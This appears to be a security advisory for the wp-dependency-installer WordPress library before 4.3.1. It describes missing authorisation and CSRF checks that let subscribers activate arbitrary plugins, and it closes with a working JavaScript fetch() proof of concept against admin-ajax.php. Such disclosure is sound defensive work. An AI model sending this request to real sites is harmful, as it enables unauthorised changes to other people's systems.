WP Dependency Installer < 4.3.1 – Subscriber+ Arbitrary Plugin Activation

Description

The wp-dependency-installer library, used in the plugins does not have authorisation and CSRF checks in its dependency_installer AJAX action with the activate method, allowing any authenticated users, such as subscriber to activate arbitrary plugin installed on the blog. Furthermore, despite having a capability check, the install method was missing any CSRF which could allow attackers to make a logged in admin install plugins defined in the wp-dependencies.json via a CSRF attack.

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=dependency_installer&method=activate&slug=hello.php",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));